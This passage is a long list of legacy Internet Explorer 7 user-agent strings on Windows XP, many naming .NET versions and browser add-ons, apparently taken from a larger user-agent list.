1.1.4322; InfoPath.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; SpamBlockerUtility 4.8.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Zango 10.0.370.0; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; Seekmo 10.0.275.0; Zango 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; Zango 10.0.314.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; Zango 10.0.370.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) (383; 383; 383) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zango 10.3.65.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; AskTB5.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; Zango 10.0.341.0; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; AskTB5.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Lunascape 5.1.0.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Seekmo 10.0.314.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Seekmo 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Seekmo 10.0.341.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Seekmo 10.0.345.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Seekmo 10.0.370.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; Zango 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.0.275.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.0.314.0; SpamBlockerUtility 4.8.4; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.0.341.0; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.0.370.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.1.181.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.3.36.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.3.65.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.3.74.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; yplus 5.1.03b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.40301; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.40607; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50215; Avalon 6.0.5070; WinFX RunTime 3.0.50215; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04307.00; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.0.3705; .NET CLR 3.5.21022; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.0.3705; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; Sleipnir/2.9.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 5.0 alpha3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MEGAUPLOAD 2.0; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; PeoplePal 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Seekmo 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Zango 10.0.275.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Zango 10.0.370.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Zango 10.3.36.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 2.0.50215; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Tablet PC 1.7; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yplus 5.6.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; InfoPath.1; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; yplus 5.1.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; MS-RTC LM 8; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30428) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; Zune 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 1.1.4322; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; Sleipnir/2.9.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.3 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; TheWorld) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.5.30428; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30; InfoPath.2; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Hotbar 10.0.342.0; .NET CLR 